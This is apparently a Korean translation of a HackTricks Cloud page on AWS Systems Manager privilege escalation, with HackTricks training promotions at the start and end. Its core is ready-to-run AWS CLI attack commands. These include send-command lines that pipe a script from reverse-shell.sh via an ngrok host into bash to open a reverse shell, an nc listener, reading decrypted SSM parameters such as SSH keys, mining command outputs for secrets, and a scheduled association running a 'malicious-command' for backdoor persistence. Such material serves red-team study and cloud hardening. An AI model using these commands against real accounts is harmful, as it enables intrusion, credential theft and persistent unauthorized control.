AWS - SSM Privesc
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SSM
SSM에 대한 자세한 정보는 다음을 확인하세요:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
ssm:SendCommand
권한이 있는 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 명령을 실행하고 그 안에서 실행 중인 IAM Role을 손상시킬 수 있습니다.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
이미 손상된 EC2 인스턴스 내에서 권한 상승을 위해 이 기술을 사용하는 경우, 다음과 같이 로컬에서 rev shell을 캡처할 수 있습니다:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
잠재적 영향: SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접적인 권한 상승이 가능합니다.
ssm:StartSession
ssm:StartSession
권한이 있는 공격자는 Amazon SSM 에이전트가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작할 수 있으며, 그 안에서 실행 중인 IAM 역할을 손상시킬 수 있습니다.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
잠재적 영향: SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접 권한 상승.
ECS로의 권한 상승
ECS 작업이 ExecuteCommand
가 활성화된 상태로 실행될 때, 충분한 권한을 가진 사용자는 ecs execute-command
를 사용하여 컨테이너 내에서 명령을 실행할 수 있습니다.
문서에 따르면, 이는 “exec“ 명령을 시작하는 데 사용하는 장치와 SSM 세션 관리자와 함께 대상 컨테이너 간에 안전한 채널을 생성하여 수행됩니다. (이 작업을 수행하려면 SSM 세션 관리자 플러그인이 필요합니다)
따라서 ssm:StartSession
권한이 있는 사용자는 해당 옵션이 활성화된 ECS 작업 내에서 쉘을 얻을 수 있습니다.
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Potential Impact: ExecuteCommand
가 활성화된 실행 중인 작업에 연결된 ECS
IAM 역할로 직접적인 권한 상승.
ssm:ResumeSession
ssm:ResumeSession
권한이 있는 공격자는 연결이 끊긴 SSM 세션 상태에서 Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 재시작할 수 있으며, 그 안에서 실행 중인 IAM 역할을 타락시킬 수 있습니다.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
잠재적 영향: SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접 권한 상승이 가능합니다.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
언급된 권한을 가진 공격자는 SSM 매개변수를 나열하고 평문으로 읽을 수 있습니다. 이러한 매개변수에서 종종 민감한 정보를 찾을 수 있습니다. 예를 들어 SSH 키나 API 키가 포함될 수 있습니다.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
잠재적 영향: 매개변수 내에서 민감한 정보를 찾습니다.
ssm:ListCommands
이 권한을 가진 공격자는 모든 명령을 나열할 수 있으며, 그 안에서 민감한 정보를 찾을 수 있기를 바랍니다.
aws ssm list-commands
잠재적 영향: 명령줄 내에서 민감한 정보를 찾습니다.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
이 권한을 가진 공격자는 모든 명령을 나열하고 출력을 읽을 수 있으며, 이를 통해 민감한 정보를 찾을 수 있습니다.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
잠재적 영향: 명령줄 출력에서 민감한 정보를 찾습니다.
ssm:CreateAssociation 사용
ssm:CreateAssociation
권한이 있는 공격자는 SSM에 의해 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하기 위해 State Manager Association을 생성할 수 있습니다. 이러한 연관성은 고정된 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이 백도어와 같은 지속성을 유지하는 데 적합합니다.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
이 지속성 방법은 EC2 인스턴스가 Systems Manager에 의해 관리되고, SSM 에이전트가 실행 중이며, 공격자가 연관성을 생성할 권한이 있는 한 작동합니다. 대화형 세션이나 명시적인 ssm:SendCommand 권한이 필요하지 않습니다. 중요: --schedule-expression
매개변수(예: rate(30 minutes)
)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 위해서는 --schedule-expression
을 완전히 생략하십시오 — 연관성은 생성 후 한 번 실행됩니다.
Codebuild
SSM을 사용하여 빌드 중인 codebuild 프로젝트에 접근할 수도 있습니다:
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.